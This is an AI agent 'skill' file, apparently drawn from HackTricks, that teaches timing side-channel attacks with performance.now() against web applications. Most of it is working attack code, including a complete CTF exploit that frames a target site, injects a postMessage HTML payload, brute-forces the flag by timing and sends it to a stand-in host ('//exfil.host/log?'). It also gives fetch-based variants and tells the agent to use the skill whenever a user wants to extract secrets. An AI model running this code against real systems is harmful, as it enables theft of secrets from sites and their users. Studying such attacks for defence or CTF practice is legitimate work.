Hacktricks-skills timing-side-channel-attack
How to perform timing-based side-channel attacks using performance.now() to extract hidden data from web applications. Use this skill whenever you need to brute-force secrets, flags, or sensitive data by measuring response time differences. Trigger this when the user mentions timing attacks, performance.now, side-channel extraction, CTF challenges with time-based vulnerabilities, or any scenario where response time correlates with secret data.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/xs-search/performance.now-example/SKILL.MDTiming Side-Channel Attacks with performance.now()
This skill teaches you how to exploit timing differences in web applications to extract secrets, flags, or sensitive data. When a server takes longer to respond for certain inputs (e.g., when a character matches), you can use
performance.now() to measure these differences and brute-force the secret one character at a time.
When to Use This Technique
Use timing side-channel attacks when:
- You suspect a server performs character-by-character comparison of secrets
- Response times vary based on input correctness (even by milliseconds)
- You're solving CTF challenges with time-based vulnerabilities
- Traditional brute-force is blocked but timing information leaks
- The application uses functions like
,strcmp
, or similar that short-circuit on mismatch===
Core Concept
The attack works by:
- Sending a request with a partial guess (e.g.,
)flag{a - Measuring the response time with
performance.now() - If the time is significantly longer than baseline, the character was correct
- Append the correct character and repeat
- Continue until you've extracted the full secret
Basic Implementation Pattern
const sleep = (ms) => new Promise((res) => setTimeout(res, ms)) async function check(guess) { // Send request with the guess // Measure time before and after let t1 = performance.now() await sleep(1) // Small delay to ensure timing is captured return performance.now() - t1 > THRESHOLD }
Complete Example: CTF Flag Extraction
This example demonstrates extracting a flag from a vulnerable web application:
const sleep = (ms) => new Promise((res) => setTimeout(res, ms)) async function check(flag) { let w = frame.contentWindow w.postMessage( { op: "preview", payload: '<img name="enable_experimental_features">' }, "*" ) await sleep(1) w.postMessage({ op: "search", payload: flag }, "*") let t1 = performance.now() await sleep(1) return performance.now() - t1 > 200 } async function main() { let alpha = "abcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZ-}" window.frame = document.createElement("iframe") frame.width = "100%" frame.height = "700px" frame.src = "https://challenge.jsapi.tech/" document.body.appendChild(frame) await sleep(1000) let flag = "nite{" while (1) { for (let c of alpha) { let result = await Promise.race([ check(flag + c), new Promise((res) => setTimeout(() => { res(true) }, 300) ), ]) console.log(flag + c, result) if (result) { flag += c break } } new Image().src = "//exfil.host/log?" + encodeURIComponent(flag) } } document.addEventListener("DOMContentLoaded", main)
Key Components Explained
1. Character Set Definition
let alpha = "abcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZ-}"
Define all possible characters in the order they might appear. Adjust based on the target's character set.
2. Timing Threshold
return performance.now() - t1 > 200
The threshold (200ms in this example) should be calibrated based on:
- Network latency baseline
- Server processing time variance
- The actual timing difference between correct/incorrect characters
3. Timeout Protection
Promise.race([ check(flag + c), new Promise((res) => setTimeout(() => res(true), 300)) ])
Prevents hanging on slow responses. Adjust timeout based on your threshold.
4. Progress Tracking
new Image().src = "//exfil.host/log?" + encodeURIComponent(flag)
Optional: Exfiltrate progress to avoid losing work if the page reloads.
Variations and Adaptations
HTTP Request Version
async function check(guess) { let t1 = performance.now() await fetch(`/api/verify?token=${guess}`) let t2 = performance.now() return t2 - t1 > THRESHOLD }
AJAX/Fetch Version
async function check(guess) { let t1 = performance.now() const response = await fetch('/check', { method: 'POST', body: JSON.stringify({ input: guess }) }) await response.json() let t2 = performance.now() return t2 - t1 > THRESHOLD }
With Baseline Calibration
async function calibrate() { let times = [] for (let i = 0; i < 10; i++) { let t1 = performance.now() await fetch('/check?input=wrong') times.push(performance.now() - t1) } return Math.max(...times) + 50 // Add buffer } async function main() { THRESHOLD = await calibrate() // ... rest of attack }
Troubleshooting
Timing Too Noisy
- Increase sample size: measure multiple times and use median
- Add more delay between measurements
- Run during low-traffic periods
Attack Too Slow
- Reduce timeout values
- Parallelize character testing (if server allows)
- Narrow character set based on context
False Positives
- Increase threshold
- Require multiple confirmations before accepting a character
- Add baseline calibration
False Negatives
- Decrease threshold
- Check for server-side rate limiting
- Verify the timing difference actually exists
Security Considerations
- Only use on systems you own or have explicit permission to test
- This technique is commonly used in CTF competitions and authorized penetration testing
- Many modern applications use constant-time comparison functions to prevent this attack
- Consider the ethical implications before deploying
Related Techniques
- Blind SQL Injection: Similar character-by-character extraction
- Error-based attacks: Using error messages to extract data
- Race conditions: Exploiting timing in concurrent operations
- Cache timing attacks: Using cache hits/misses for timing information